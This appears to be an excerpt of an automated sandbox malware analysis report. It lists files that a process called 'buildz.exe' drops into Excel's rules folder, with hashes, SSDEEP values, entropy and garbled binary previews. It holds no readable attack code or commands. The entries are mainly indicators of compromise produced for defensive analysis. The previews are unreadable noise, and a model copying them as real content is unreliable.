SHA-512:	C08189B4B45C71AA68FEA5021588B80EE28BE1F7F70F2C614B665F40794467063A850EE05096BE1F5688E2AAA6EAE64EC5642E211698B32157076C0EBD216BD2
Malicious:	false
Reputation:	unknown
Preview:	<?xml.N.4..e]........~G<....Ud3.~......uc...F..$s5.%.$]..4.Z..)5.IHC.$.........&.....=>i.....g..G...MId@....BN.....%...8.(4O...0..o.....J......o..4....A..:...{..^.7.uH.2>..d.7j...?.Q..y.\j.....%...Sl.....eg...t.NM.....n.....<.}....J.....O....I..[8.#......;..`...:j.....6.[...mM..R=.b{..G?..I)n....i..Z...F.........x.B......d.t).<Z....t..8....!.0......G..zJ.w..0S../C...S.`./J. \.M.(^Q.......).GQ..o.....NHc.>.-.l.J..d..Yfi.j.G..`.....3.?+..=Z.#......vn~.7.S.O9.}Q....~G..:...Q.....&$.E........%).\..u.g.....D...C.Xo+..=.I..N3........Ik.-..L..U.eK1.R...;.B..rlF..[......mx....6.<.T...?.L.&"s..t.-.@...)......{...K.+<S..0.....:&....h.H...E.%=V.I.&...F..............1...e{.,I.e..+........l(zO..?=jXP.V...u[..e.\....I.CS.xH..).l.JE.B.....v..$t..lO........\|r..t..uT.7..w...M.,.1.i...;.h.......N.r....&.MI.....{h...._.i........z...b.Z..w......Bf.}I.._KHa..8..3...K.jpO^..pH..F.G..2v.9.........B....I-aJ.;3.4!..7..x....E.S.K.s..Em...K*......;.?.U.7.[`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180043v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.907713947547093
Encrypted:	false
SSDEEP:	48:t1lkjlD88JBe2ql+0/M+8GHm6HOXFZYukQ2i0SM13D:Nkjd/Be2qsMM+8GHWVZYppL71z
MD5:	64A791E4B0A7DE676AD8524D66B5510E
SHA1:	E5F15600643823F94FFCBEC9C51B90819138DBB3
SHA-256:	25A6C68FAEBE099BF01B6EA65B159E375493A41585F8F89803893B25288EA82E
SHA-512:	3ED223F763898244A8C5941141002DC8F56B9D04CD0DBC60F2AC72C7F30C06EDF322C786410D675C01CFB4C2C8A57F4B71DE4AA17B1A3ABBBBE0FC15A7F69BDF
Malicious:	false
Reputation:	unknown
Preview:	<?xml...........j{..g..y.~-g.....^d.<.Pg.'z...Gk.~H.'...<`.;k+...._y`:.T..3....Db...,.K...^.l.O.~W.=k...e.G+.....o.C.....N.<.......8..2..J..9..C.Y..3Q...x..Ye.m.P..)U.v.....l.I....G..+C...w.._G.b.R...^.[..3H<2.._.i...-....].]O.P.....e..-oU..;.._Rn^2aQ..7\|A...L.\|7b,jL+.......# #t.e#......?..HUA).....)I.~./...}\|.kt..Y....aG...QL..@..Y&..Z.;.^..wJ.=.......hs9...O.'6..c...U.....}T.-....&F..X...../...b.S....=X..\|A@#VE...em.Q..)-.g.Av.w.L.8....P.$.c.~..G....~.....g....Cj#xP...{...vl./........4.sV+$..).....\U.....6.r.............sTfwh.1.hAo..\|.N..(.=/7^..7P.{"4.U....,........e........?.uN.>....=q.;._x.B.k]....q_...]...H...Q.....o._".."....(.+....+.H.^....E}.c....8.&.B..vV......P..?kq..B..>.2.....S.W7...M..S..q.rmS\U.V.1.>j...-....].....'.E.~l.]....!%..;l..9fD.$...Y_.V..0.v.....v...3..f2{..+..;.Oe..T.bPFm..Q_.....z..$o6_.L.h.j+.._...._..l.SF..B"iz.rm.k.......-...8..v(....d..K<.."......h..%.x.{.2......ql..N?x.....[.U..Y.......K...^.D.q}... ..p;.&[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180049v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2858
Entropy (8bit):	7.932471621187493
Encrypted:	false
SSDEEP:	48:UKn/9Ju6UgLMo2cScRx2TbamIrWoy12wpCwNcyQTkfsWt3SDkiIgD:HuteM3chSLHoyUekTk/CDxI8
MD5:	F3DDBAD388BB629F98E5F93DFCC08FCD
SHA1:	9FA29BD40FE7199A7848561536B099F4E6D8063C
SHA-256:	6E35846E267476193626C24D568725B5416F479860CC8337202FB99DCFC51A8F
SHA-512:	39EC30A0A6DBFB11CDADF2B70B1487888B0EECF0897CBC3621BFE3FC443192C76DE6E09FB34F67C002D35B9D3E81C75226C7AAB10731C069E38CE77AE752CBD7
Malicious:	false
Reputation:	unknown
Preview:	<?xml..]..jB......_...+Y.o.......\|..~.H.Hh[....6..J.Hu..ZSE..wzsF..1.......1x./.C..x..".dE...Pd..l2.0....~.1....M[Q....t.H.s..t...DF..H6K..o7T....O.d:.bf7v...e.pn.82.r.>...-...=.....n....L[....YW.#...g.j..X.....ew`..l!?..S`zA{..Y.............9...)....C....~ .B.>..o....C.1....BZ......L.g5..;.".[.]z.uk.P.Z....o0..I.F...0...!.`MB.Pg3.....\|N...l.T..Z{sO@O.[3X......f.M....;..1$....(....X....9...^..?.+'....{.o.......%...D)X:........."......l...^....\.%..\|..=.......`t]L~&........c..MO.Zl.t/.+p.r..Nf...0.o.tX...9@..A...;.w~..P...........#....z./.)....(.s..A..j....&..O(;.^GA...-.....j...4.A...r.(.....!..X/..9.j....D5.pl(.L.....~..d.@.(.=.G......... .q.f.M...y..L.f...MY.4d.kn.@..'@.6.H.TM....;..l....R....y#.N..v..g...U..S=q..?.$>-......:kt."...L..~.F.k..P...Q.....[\C.T..\|. =.S...1..:.#......?V.Q.U...).....m.ZQ.....w..P........aX.....s....#F_3`..'.i/.v..`..8>..z^....)...$.^...T.".c~.^...9..N.s.d6p...[.+2_\|..T.]e.@.....4Q.....A....c.....q.../^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180051v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1230
Entropy (8bit):	7.820868901186376
Encrypted:	false
SSDEEP:	24:fJR9beyT7nzyusezUxZwnCa31MixgsSTYVp+ZVt6bD:fRVT7nzjJzUxOeias8Sp+Z74D
MD5:	C7937FE7652D7910A756B15109906908
SHA1:	72AA799995F583747D84E3FD56CC1A9B059740E3
SHA-256:	4B0358E540735053438E24903FC8C216B924F405A856E4743C5CF69A818E8B5D
SHA-512:	D0995DA5939EE514FA3FABB316210CB80233055B9BA8E3E494C6F09F7CA340A67CCB061C1C9AFFD4D808FF6C6C3106235E83812AAF75E40A72BB4A2E1C77E34B
Malicious:	false
Reputation:	unknown
Preview:	<?xmlJ..T...[.....y........3.{X...G/.......I .q.t[ai.......g....0...K..;.@..,E...L.b..+.1.i.^Z....?#.)I......S.\|}..y.0$a.. cl.]VdFMJ..N....)..i%.rm.....<..K..).......w&.`.....Y.r.yn.....\|.....{...n...+.S...s.....$8.XVC...q..?u.b^......U..hS......}...l.....oK.Eq.J.;..A.:.y.O.h......X...!.J0I...6X+.x0.........S...d......f.W..q....,.w.f..x.<..,z..wp...k.:UO..<.@Q./6`..7..<.."..z..Z.Ts.h..M..2......./..m.Gn....yX.B......q=......m.%..&Yt..%....(...E2.0..._Mn.......pJ..IE.?..6....j...Y...~-@IAQWu..:t...j.W...!kh...}..}3i..7.No..M.0.......W.....X..I\e.........zJ..;K....,?..5Rv.eE...v.=Uz..x\.-.V\K...p3..,t...D..ZB.Wi`.....eK..gG.lF...>U.9b..!.a..,.."1<8t..q..7......xS.Z._Ly.........e[[...dr{2........5.-f.CA].mEPj..Q.d....o.C.%\\|...u.....4y:,IJ._.5.^.....;d....CY.2_..DU...}........8!..;.2<..70.5....+.....(A.Z.....QH.r...z...lP...N.g.I....z..g.(.........R.."......D..0...z#..}.KQ....<..F..*}:,lCv;G.I`.....7.T....H\..2:."....T....R0`..3....WE`.q.}=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180052v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2834
Entropy (8bit):	7.9319309290060405
Encrypted:	false
SSDEEP:	48:eOKYauHMUtySGHLOvtw1W4lZ8lt7FfEqiTogn8haFkKKZ//OuRpXlqUSyBx/OD:eOKY8DSdvtqyj79OTD8JKKV/dRJlqUfc
MD5:	B5D761991F23114EC4188237D3CC01CA
SHA1:	EB211B97BB0A4797A8E5E055B450099A05FFED47
SHA-256:	FF8D46203350A2AD27F03E8E08841375D3FAB55ACF7456EAC360F4BF3AD6FFEB
SHA-512:	30D039FFEC1BE1BC5188089F0C9F314E12425C06F5D452650DC0A62EA8FDBD7122FC9A0048A9D97B732A667608463295F82AD1A3B3DD669868C6E07F757B592C
Malicious:	false
Reputation:	unknown
Preview:	<?xmlv...u.........s...L..F...[H.<..........(.`......4...}....a....?.P^.....:JT.F..%.W~.V.....)..XZ..k..1...C.A...$+..C..y0....2...o"~Y...x....4.S..&..P.......!9..Z.j.<E~....{.x4.t..J..@.,...Y1.W-i.^.t6.....Y[.gvM......H.e......,^3y.J3.(._..".'.>........h.`[.._...V..1l.....h.S.ba..N\|...TN...v..;.........`...g..T...'..&.An..-.b.j....61].e^...M.E.q.h....(.....p.F......D..P......@..X..ri4..DE.'..@D4..i...a\.......{.d'~...c..u...e.X!..;n....%..V..<..(<..f.=.:....}.<. .Y..Z.r$..De0.q..E...m.........C....K-..F.^.K.#.....X.Jh$.x..2_.4..=.,.j.a......j.\|>.S1.r..~.F..'........T..>,Dw.....du.......s..JvxM.....zc..[...F~<..9.`./M.]..C'.1..d.o..j.JF....)G.u....Nq...p...rd..$DvZ4.y....rzh.......c.%......I......b,..5:!3.r..HX].....#8..{.....qi.}3..gV-v...>..s..../.A.A...09.....O^..........U.&....)\..6.W&h.....Y..q...j.$F.4F........oLi..3.(yA.6{...]/.,.....y.....Il......c..z.n..W.!t"(RD1tS,..}x40o...r..d.....h/.%.u....q......u....-.H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180057v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2008
Entropy (8bit):	7.9029669662162725
Encrypted:	false
SSDEEP:	48:94KhMfo0sHJ08lBCSkhrZrKYLxG0unzST4FQnhIR4pZD:93h4o9HJ08llktzunW4qC4n
MD5:	B50752681967F4ECBCB7D6A917E0DD5D
SHA1:	213E707347D3DA83A245A59FCD0CA491DCE0816D
SHA-256:	B2501DE35B1CB8134783036C724EF948399B7AF0EB82A9AD90E9BDCEBFE28A17
SHA-512:	415C82CB57B8798A6C0A28C3B472265670E60B0E2359AC240C173D3E7F3307DABBFE5BFC321BB5955A7483F21E43B129F54AEDEC2FBE3CD4214AF0DBDE7A3DB0
Malicious:	false
Reputation:	unknown
Preview:	<?xml..@...F...[bC.XP.D..c.!QYQ....>...H#h....\q.zo~&.cy..Q...V...L.R./.gU.r....S.W..r.K.F.(...duA.......Oo...O.....)C.5...8p.9(g)..J..+.F..+s.s..XTp.a..L..Q..}....>..[...).6.....a.su.K....e....C;.(:9....G.%$..t.w.T.T.F...d.x....9.....H.C.A.(.Mg.....u..B...P.,..a.8.......2Bh.7.).X..b-.z.^....Wzj.>&....br.......%.l.M..4..N.$3..<W.?s.N....G&..n..G.\|..g....P.......q......'KK...z.....y.g.7b....g..i~.p....`...~...k\2...O...6.a....i.,........r7....c.>m>.5..@..)......8U.z...ed.=:Z....Q1..`...x>}Mjf.A!...W.h...R..,G..E.....W...........=..3..)^.y...<Wl...2.dcy..>V.....).y.+."a.f.f..hJ.F(..y.<..w...l......D.S.Ufd.m..!........k..2"..........4..g.HL..-..e.wB..Rh.;....C..N.T.\.......R.....b...%O.E..0..+.k...p9...q.. l..n....!.....YzV..s2._p..Q...<Z.K..V.p...!.iM.........:B.<[s,.]h\I.....Q...vl8..C.3Q/....a.7./....@.\(4{..g.].>EP...T..<...o.,cI3.$...U......d..O.W..9.g......q9.9w.sm......F.nv.a.#U .q.....".0..W..4#.bpjV.N...4a...c..%T.f.%y.yC.`..../...\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180058v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2453
Entropy (8bit):	7.913841819221152
Encrypted:	false
SSDEEP:	48:Q/XrLTIXE/gLEJFeJAVhCVmyDAvaC7LoD8MAzF6lN9Th6kpZZVRD:+XvXgLELNVhCVmQAt3oDfAzkN9Th6kpr
MD5:	1E112C2FF72D53DCDBE2C9B1F4C90E9C
SHA1:	32E167D7B04534C14A85E10D930F9307F4578390
SHA-256:	E63BA1A5F7B640C29E8C2FFC15C88792208C66958437827B916E2C956E473578
SHA-512:	BA466AF324B4ED2C6DC8E980660EC50012B41991E875F0E2633733083ABCC9642848CF8AE49EF206D1777957BF520AA11DD7CD292FBD42ADCE6DAC3BF87EE7A1
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....?.W\|....9..$....Tm%.Q}b..>L.#'.[..n...P..5$N..c......3I.B.......$.~.Dq.\..).g.y..N...3%s.x.i..'......;l.CW...ip..).1$.E.D.l.._...}..D..Y7....Qd....3Xjb[.[.9H.z....\..&..F..B%..<......'f".........../#....k<....0.x$v..mA......"...a....)...[5.>96.....!....l..{.7.L\..e...6....v....[h `Z.P>V.w7.2.c.#....J.Y.....YP...Q...mb........?.....$PM..f..".W...ZD+[.c:.8.Y.N.y:uzd....t....{...>!]....m]....Z=.G.v...U.fZ..S..)b.Y..M+......e..uZ.M.......6.+....r9. ..].ma/B.F\|...{.4AT#.d.(.b..B..x...En..&...]....t.;...}.IHj.<rX..9].c..o.~....9./(...a7m.....d-.k.\.!..e..F.....H.n.942..D.C..7.#M`..k........)d..Vr.C\|..4._.e.K.f&V...,....rRE[........V..'...L.Be.q.G+....s.{./4..F.5..g...R....9.m..."lL.X...xz...3.G.........i......1..t..39..9t..[..F....BZ.D...B~..+.#........{.R=....h...X.?.`.~!.&..?.2....h...FC....DTo.kZ.)...K....X..d.0-...<.o..].@.wP..2W.N)T...!m.Q~,...........G%.......Pv,J.M....R...b......79...#.[.\.@{X-....E`Ql!...!4.M....].....C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180059v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	7.865168664475953
Encrypted:	false
SSDEEP:	48:Sl6ZnyqWBwZS30lje9zTnQSSQ7PxXdMoidi0fJD:Sl6gqW8O3nvNTxXdCiQ
MD5:	05957B7996683C804E83B487599F497D
SHA1:	5A9BB289B6E8F12BA729DF31E47E14F04E785F3C
SHA-256:	3CD5975381A7DEB748DCB4C2F1A57FCC9D5FB7F4C23D091D85EB28EC6FA9ACC7
SHA-512:	00028633C43A1F5251358F3852AD145EE5ACEEBE71F056CB9E41246F96660B573BAB8F458739F2812E50D162B8445DE6924CDF5C2D2B3895E61E8DB494520D0D
Malicious:	false
Reputation:	unknown
Preview:	<?xml.W8%........a....Kx....$....;Qh....)..f.=..I..P@c.%u.GPx~Q/.<-.q.l..7....rC..p.gp....8..z.;.d...O.O{'2MGyg...^^.h..v.N~ke..Q.-............GF(.%M..p6.....;7ne-...........4.+%..@.Bz.....q......C)..)..h.+..7c.....8..g....3..X......o...O..?\|yV../..4.4..nW.+.S.c U.0v.&.B.W.=.c.....?Q...''.."...91.. !.P0..;..;b7r...[s..6.e.t.__..c..x.fh....WO:6......i.Q...[....Hl...<nY@Hl......^.)>..SG~,[w....Q....l...7.E^.B..k.d\|..H.5.Cs..(d6.fE.Rd.R..].F..j....P....>....f.)...Jwzz.O.C.d..P.8.....0....z..Ao.........9..9Di..H..@.+.].kP3..@..@.V.u.v..q.4...K.h0.....-.X...{..9.F..e.'.D.'.P...)..._3....b^..o...}M~..g...pM...z.(2......f/.<.....4Py6...zt.aU...oI....c...db.&..N...J...........v.......Jo..f...Nv..z.../cG...).I.....W<Y........g.X.A.L.'N...-:..\|.j..Im.I..W....Yd..8..tO.....7......FN.@...c....8...%c...*~2.&..s83.'.eo.w..."Ks....+.............3.b.r...7..hb..>.......#..y.6D..\;.....e.....d.Uz.Q..`c...O.o .~Bg.....A{./....%x.#...a.r.....#....%......!}.%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180063v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1570
Entropy (8bit):	7.874197122133007
Encrypted:	false
SSDEEP:	24:CMw0Z+sC0kw/uNy5R0WG4s0HRUgr3q6b185AkbkDVGddtkVNvkqo1e/QTXUBhS3Y:fHZ9C0xuM5lsfgrEnb2eEil+kx+D
MD5:	763372BE4A6E908912F8995BE9E3B946
SHA1:	85E7388F3738EB1AF31F6F153A056B175F8A1E4B
SHA-256:	47AFF127EA4A4896CAA96CC2A3C266640E3D441525C4D9B719E24CEED7350867
SHA-512:	752E2B33FB6E2D760841CD45B7C2D266D59BF2FBF8A54DEF946AA704F0755EC977B0E923207944CF381D908D91EEA66B790C4D6BA79C6B370BF085B7C3EF0061
Malicious:	false
Reputation:	unknown
Preview:	<?xml.B^............Z"Wt.d....0..........Gk..h..B.@.0...+...s\...as..DFv1.Ov......1<...0...wM..v..o.5.2...... d....6..ANYv.-..../..@M.=.$x....k...:..kxH.}.:..+.5.F.J.8...5...U.S5.Z.j. ...q..t'......2b...G..ZQ(.. rp..)..{.E..a.t-T......LU..V.(..T...}._'..%>_.]A....5..Q^..lr..U%...O/F...%........D.6...X.....%YDGS{.r..N.v....%.A..#_[.d....Bi.R$.q'....._Vd.t...K3N{.3...Vt/.....h.d..:K......,:..I...6;..+..}........u.0D..;.r...@...\.`D.V#Eb...~....zHt.a.u...".t.'_RU..=....Y..p.v.c`....;O.^..%f...../.-.7Sil..va.1.M.....;L0)\|.L..4.@m..<.~k....t]N+..?1..".3"....0H..q...h...>"3...)BY.%..m.S...~}......,...).#,.g.. ....Dc......>.....\|;....cu.t.....j(.D..m.=B+..Kpz..ph.....Xc..e.K..s..,.Is.\.bRg..=]\|......M..........p.)b...V.S[...Q.....K...#....VF....X.s]y...>..G...eJ~.....G..&5..<<dd.......H}Lj.,QGA..^.b....u.'`.\x.9...6....fO..._..H.j..7P>dW*?..g0.=..wmQ.....5.]...uX.....1M1.@.>..~....OO:..DS..P.P7nF.Q.Ok.Ox..9'..(Q./!.[......%`hS/.4u........%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180064v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1384
Entropy (8bit):	7.856806454676992
Encrypted:	false
SSDEEP:	24:BhhkzS81xSFFS19DWYTcXrdfG83xfNOo77r8R+szrED+bD:Nkz51oFcX5cblrBVXr8RZzrED8D
MD5:	4D82D3D48D1A6581D5D32A46DD147AD2
SHA1:	3831857D847F43F3DE7D832E6E7D2431987F19F5
SHA-256:	3774B641E9FE08CE7BE02963DE610B9C38D7F59DD6BE20DBDBD8E34CE7A5080C
SHA-512:	8690D524435802BDC3200586C494A4567CB583953E74ACE66F32B16972A82D7BF98696EE4B90F3F5409F69486FC737D7F301262C6050FB01C33C023AB6F03AD3
Malicious:	false
Reputation:	unknown
Preview:	<?xml.cx.~..L..?..R..KNFXn..W..$=.X..V.=d.x.....H...[r.'..e{)..0...W....<.Q}..kG.....-.....f...gr..._...b..E@...'S .......Z@....t#.)..e../....w.8uC.....-t...'..].......\..?k....0...rc.9"..#.v.G"..7..]a...x...l..E.s...r..#u..#P4Q'.`..7...i..E_..V.V..b...~.2.3x.....r=!\d=...gYB....i...+.}u.I..4J..?!.M...Z.......`.....,a.'sCU..T.C[.[.......v.a...i4;m.,.b...c.1Y.....U.i..^..C...[.2..=.O.?B.....DTk.ki+......8 .m..V.&/...........F.c'g.M.?ZV.`.td<A.3....D....Ze%....y.u.(!`Dt.=.TA.3.\8-F.2.6uWw>...).y..&..a.1.9G..^Z,.&`....-4VgZse.b...dA...."`.:.....9I..6.=K.<..q.i2........l......].O0.V1.D..U.$-F...ni...o~."e.X.5eKYt....M...(.se.....0....`..\|I.gN.........x.\f.._.0-_.(...X=..>.....I.m^._......P0..E.Z....z.}[....z.#6Ya..\.$9N.E.N..S.!F._J.n..H......I...........!..qQ.......\I..m.z{..^C...T...+.]j&i.2ut`..n..{..f.n...?I.@_.v.......{I./Y.O3Fy%.>......i.&...............9....).g..43.,.$..h.[..)..&...yQ..f..U.\|...{H'..Zfd...`..V......).n.6..]E...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180065v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1772
Entropy (8bit):	7.894415916993722
Encrypted:	false
SSDEEP:	48:X5cA4nLKOR8QVtXqtLqckO+gN8J4EQEow7rKfD:JcdKOyity+c0xCDjyrK
MD5:	45A8141ADEB3BAABA4FDA5CC1C92A83D
SHA1:	3BC7D58E6D6B5530D971A009E5C3D1F008175290
SHA-256:	38A313685BC0D6BABEB361E61BD9F2F7EBD7AE97D57933DEADF29B1366EDB1A4
SHA-512:	6B163B40A789F33599048FC4D866D8A99EF2DD81B49C0215F7E213190A015E172BA605A3FD2AA8F96D738565D5D74C5DF570472E824C41F404DFED54B396B7B3
Malicious:	false
Reputation:	unknown
Preview:	<?xmlh)......(M.....:....L.k.D).D.zP.`..`..\|H....Q...+.....(.......0G2...U.p6.;...@.1O..p.CxS.......R`.29_4..<C....3..=..!....o..A..g......d}.!=`.47m..i......1b.4..^....f.t=......o.j3..#..+.R..r...v.dT...ECD...R..\..~.b....@T..H.l.].<....qe.......X..[..T],cs..g...Q.M.QR.W..'-..W.#..)8..BHyj.......n..NK'=&s..e..Z..".....X...u.....A...P.(g..o....<z^..C.&.-M..s....5.......b..U..\..'..A.`4..t`...$\.....\Z.......y='...;{'..&...;.?Q..G..@..N.W-U@-..%.g[."=J'.l...z)V."..P%v..r.Q...A'..R...h!........p..CH......s.I..@...N.]Uf..).....am..<h. ...i..zlm..x.GhO;.1f.}].Y...z.6_y.........),....U[(E.P..'.M..1...0&.....TY\$.U..<.....T...'.....\.&j.-...'...0.Q.\|....!.y+M}VJ.Y0..E..E...^s...%..\..2..`..f....8.]5......H...6.)..sO...R...;.....+...\|......[ .N..N.tbTL.K.....3.\U.VU.....~...6...<t4..:..h.4...}2vDu....&.....m.J........,.E.HF[...du7C.......+.x..._..........,.%.....^}..<M.V...,`.EJ.t.#.?Q....p..LXG.F..%.O......B.h].n....`@mJ..K.\.%..a}.....t~hj!8.'.J.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180066v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1478
Entropy (8bit):	7.875048553787585
Encrypted:	false
SSDEEP:	24:INbSjG0qyOhg5mH880tpHV+63In0Yt0hk3gAoikzp6p3OId3OfiA2bApDkI6LM5+:GBDqoHMb1In0y0hk3gAoxNJ3d2YAPD
MD5:	C3B5CA53B20E262BD05DCE512CD1427B
SHA1:	908ED4B78E5C876E92D062C0ABEE6513CE52FC8F
SHA-256:	1604B1EA068E6E1992C56FDF40F438A003736181E04BD9B816105FD9CD8B3CF5
SHA-512:	7996CCC3509320135F40DD37F4F98C06A84A7D99742F246EF2D802790F35251E1A2D55FDE1E2504C64E4F61F5C8B14D395AA11938171DB9833961CDA8531F111
Malicious:	false
Reputation:	unknown
Preview:	<?xmlu..c1....JEl...u.6_y.1.zt..W..,.<..;n....Q.L.1.........5.-..[KazyP...IA....... H?;X.jf........&.e3. ..m.\|..Gl$.d%....co..?.I..y..pki..q....r>g...e.:..lr.....[jqO... ..X.T.u...4..^H......U@.......pC.T...nZ.B..\....U!}..2..../=......&;...+..N.;.h\|^axOr...fE..;..f...g.l..~..YBL............6L$..@.]ZAW..2ZI..\|..s..8wk+.LH..!.......W.......z.{.gvjOc..p..:...8M4..... .1!"...-..5...$..^...5M...f9.E7.L~r......9^.{k.S8....r.c}+....d..a.$.9.3d.._.................!6i8V.n."y^..._Y....*..{.]..@.t. .D.j......z...WI.J.v.....Q..;...I.O.Ci....J.'....U..v....:.9..h@...u..N.$..._C.-....H...dgv....`.....x.....%.N...Md..^..bK..H....../O..!.....2;......D...n....qRR...`d.b....(...z.......4...,.[.v..S.J.l$H.....`$Y..J<..GQ.^.o.}............Ow.E.2l3?{.....i^>k..N..G.$../.zZ..J..D.....2.^Iq..O....M.#Zo...[H.~0....H....h.-.$...RE....."6K...g.4.7X..H.@.....N.v....0.&6.1.........k........vjLH+.......9...3.$..})...^9m.].`..?.37..1).)J.&E:#.... .D.?...y.'wB..'......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180072v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1565
Entropy (8bit):	7.884016503778298
Encrypted:	false
SSDEEP:	48:FPmBkS/16U5iX+uek88Iiw036BlK9PyUuDD:LSNomk8jGP5uP
MD5:	3057D3E3C0D6E6ABFAC50E0A0D0AD3CD
SHA1:	5542678C8C33AB32097BF8189834355EEFFCC289
SHA-256:	FFE53DEAAADF9F9D070CEA827E7DFF5134F05B32DBC15D4C169267E40132BFAF
SHA-512:	F6F79A3DB9FE7DD3C915A3EB05392361682A72763D3FF86CD5575C3E0BDFE66D04DB591049517E3C7FE5BEB95389762BC2805ADEE88C449AF98F55B9D58F3942
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....T.pQ..}.H..B.Rn.:.U..X..^^.]..M....Jm...S..R(.....m..'.6.......>....... .m....mG....Dt..Hen........E.....c.dQ.M?.B.).U....................F..M ...aGd....y$...<....~.\|.z...Oc.. ..i.t......J.P..^~W.9...I.Q.t.[..z..-D...a.a.U...D.#m..D.p..Wb..g.........<.,....SkR....UPa8F..\|..+o.......2SK.3......,...~M..F..X.9.......MW.^`..5c.a.\|........!...Os.l......\......]r_.P....T.?...I..m&..z..P/.Y...-}t.k..n.NP..p.8....MH.?\|=.....M.P......J.V=.p5>.......e............1.].....n.7U{.v....c..hP.o(.w...X.b.........F.......lh.O?..S.<Gk..v+...R.....NK.R....l:,c.1<D...^.S..z.P#5..x<`..R1.>xI....u9&........+Xc..h}xS.....<.x.N.....H..:.<...".sk..iYa....-..D.[9..').M...C<.A..%....,..?.7......[.;..4.W..#.......F.m.~.;.i_..yG.0tT.......?kai,j..<pUMp..0..(I@...z,z......<...L.5...}..[!..,"a...0u.z.]2......LX...`3mFRb/.U8.].K.....1.J.B.D..}..L..x......H..=.p,}.5...{..Q.C~.Q....0.q...~b.I1w?..8..).j+..T..}.p.T.4V..N...j.....o5...!7.e\Td+......>.nT'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180077v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1793
Entropy (8bit):	7.901240966382216
Encrypted:	false
SSDEEP:	48:UQaLeKCU98KD9cqGqfzWcY4fAVvimgErhsuroDuR7D:2LAU98iz3vYWAximgErh9u2
MD5:	3B1EA425E4596E7EE111AB635AFDE2D8
SHA1:	7F8E94B50F1F4B58F68ED1807D18E6A5B7A211BD
SHA-256:	C30F36D93EF8E363BB35B26A4A32DFF4711E4BB0D87A07392A3CB4901D57C3A9
SHA-512:	B878337B4939498DC298337AC7B60E0C759333F22FB5C858CC8E42864F3D3356C0F06F5A5CE2D4CD02424CE141D644453D579A421FD5A2CE95C804DBEF707C16
Malicious:	false
Reputation:	unknown
Preview:	<?xml.`...n....g.0.\....u...%.C.)2s......4B8..m..z.;....Us......:G.e2.t..Q+..D>.b.,...\;...=.L.z........B.(... Y....l<.u).\|4 .....\...!....'...2...?...D.(.5.3..].5..w..b:.aD.,...R1.q....&..U..JN..~..+x...{R......!C(kL...\|o.ZNF......iM.$...`%D../...........0.....Rqk.'U.xs...I..`........\|..c.1.Z...Q.."...z.<......wv....@..<s-...Z@SEj..x.O.......+...'.A...6.A%.]..?J..(..>..X.3...N"r...i..{\|={.=....&?.-.S.!.@.P.<..V.T+h...%.P'.{d.h...l....jEN<t.w...8...P..+.R>.W...0......[j..:.%..i...Z..g.w..3..Z......DW.~.pK-.~Rb.j......B.c~..In.ei.b$..K.vf75{..b..#.mwQ........;A..6.q.":2..9t.F.......D.W..U..@.j........:M.[.. .D.....N...#.[zt0R,F 5.Z.M.~N..G...KD.....S..%...H...<.....L....L..B.r..,.6....-.?.f.h..n....A..C...2....l.S..).h]...-o..0h.........o...$O.P..>.H.P..`.5....h.WQ3..w<.........R.H\|..o.N;w+.....C.:...Sl. .D.MSRP..ZC....2..w.......z.JB...N"..xs.e.......y..bEO.;v`....}....'.....?.n.p...b. ...'.h\.T.w0.5......t.e.Zb.c&.2......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180078v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.888933898979684
Encrypted:	false
SSDEEP:	48:uZKTdKr02ujKRkjV6CwJzmVZVgxdc+GQXujXAD:uARB2uj2kcmCwOXubc
MD5:	DEA388B58F4F5BD5CBC03B1E4F7C67F0
SHA1:	3C20A1DD4417C66F6F339582A8E06365CD14A1E4
SHA-256:	6AC6BBF17292B08D581B75B9C5DB205A9BB04D0286D6E895E740B65262FB68F8
